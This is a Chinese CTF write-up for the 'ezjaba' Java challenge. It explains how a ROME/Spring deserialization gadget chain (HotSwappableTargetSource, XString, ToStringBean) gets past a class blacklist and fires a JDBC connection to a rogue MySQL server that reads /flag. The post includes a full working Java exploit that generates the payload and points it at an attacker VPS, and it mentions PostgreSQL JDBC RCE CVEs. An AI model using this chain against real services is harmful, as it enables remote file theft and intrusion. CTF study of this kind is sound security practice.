师傅你好,pgsql确实在那个版本存在两个jdbc attack的漏洞命令执行:2022-21724,文件写入:CVE-2022-26520,我尝试过了命令执行
在spring framwork下直接用org.springframework.context.support.ClassPathXmlApplicationContext类加载xml即可
前言
PS.有战队缺web手可以联系我一起打比赛
系统的学习Java安全也有了2、3个月了,这次忙中偷闲,在打安洵杯的时候有个和ROME链有关的ezjaba
好巧不巧,拿了一个first blood, 写个解题思路存个档
解题
首先将附件下载下来
附件
首先看看项目依赖
一个ROME,两个JDBC驱动
之后看看项目结构
分析一下IndexController
类
在read
路由中,可以接收data传参,在进行了Base64解码之后将输入流传入了SecurityObjectInpitStream
类中
来看看这个类
在其构造方法中添加了一个关键类名的黑名单,之后在resolveClass
方法中的逻辑就是,在反序列化过程中,如果存在黑名单中的类,就直接会抛出异常!
回到IndexController
类中,分别readUTF / readInt
来获取对应的数据进行判断,之后只有通过if
语句才能够进行反序列化调用
但是我们可以知道在黑名单中,将ROME链需要的几乎所有的类都给ban了,直接用ROME链打应该是行不通的
又转而看看Connection
包下的Database
类
这个类是实现了Serializable
接口的,能够进行序列化
在其getConnection
方法中的逻辑就是通过拼接生成了一个JDBC连接串,之后将这个url
传入了JdbcUtils.filterJdbcUrl
方法中,进行处理
这里就是对JDBC连接串进行了一些限制,限制了在Mysql数据库的JDBC attack过程中是不能开启autoDeserialize
这个属性,也就不能进行JDBC attack的反序列化利用
在经过这个方法的过滤之后调用DriverManager.getConnection
方法进行了JDBC连接
分析
在理解了题目的大概逻辑之后
我们的目标就是找到一个反序列化的链子,这个链子中是不能够使用其在黑名单中存在的类
之后能够调用类对象的任意getter方法,就能够触发JDBC连接
这里只有一个ROME依赖,在没有限制的ROME链中,关键是通过触发ToStringBean#toString
方法来调用了TemplatesImpl
类的任意getter方法,也就是getOutputProperties
方法进行了RCE的
这里题目留了个入口,并没有ban掉这个关键类,也存在有一个Database#getConnection
方法能够存在利用
所以我们现在的目标就是找到一个链子,能够调用ToStringBean#toString
方法
也即是,我们需要一条调用任意类的toString方法的链子,因为这里是Spring环境,也比较容易的想到了SpringPartiallyComparableAdvisorHolder
这条链子
调用栈为:
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
这里是触发了JNDI注入进行的利用
我们只需要能够触发任意toString
方法就行了,截取调用链的前面一小部分就已经能够达到目标了
也即是通过调用XString#equals
方法进行触发ToStringBean#toString
方法
这样,我们已经找到了反序列化的链子,之后我们需要绕过JDBC连接串的限制
他那里禁用了反序列化,这里我们直接进行Mysql任意文件的读取漏洞来获取远程主机的文件
参见我以前总结的
https://www.freebuf.com/vuls/341270.html
利用
POC:
package rome;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Test {
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
//反射设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) {
try {
Database database = new Database();
database.setDatabase("mysql");
database.setHots("your_vps_ip");
database.setUsername("fileread_/flag&maxAllowedPacket=655360");
database.setPassword("root");
ToStringBean toStringBean = new ToStringBean(Database.class, database);
//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("axb");
objectOutputStream.writeInt(2022);
objectOutputStream.writeObject(s);
byte[] bytes = byteArrayOutputStream.toByteArray();
String s1 = Base64.getEncoder().encodeToString(bytes);
System.out.println(s1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
直接开启我们的恶意Mysql服务器
发送序列化数据
收到数据
总结
这道题我也是简单看了一下,个人觉得我这种方法应该是一种非预期解吧,这道题有很多种解题的方法
比如对于反序列化链的构造,不仅仅可以使用像我这里的使用XString#equals
方法来触发任意toString方法,还有很多思路可以触发,可以去Hessian的链子中去找到
而对于JDBC attack也不仅仅可以使用Mysql,应该也可以通过Postgresql的JDBC连接串来进行RCE,当然都是我的猜测,感觉是可行的,还没尝试过(这该死的期末考试)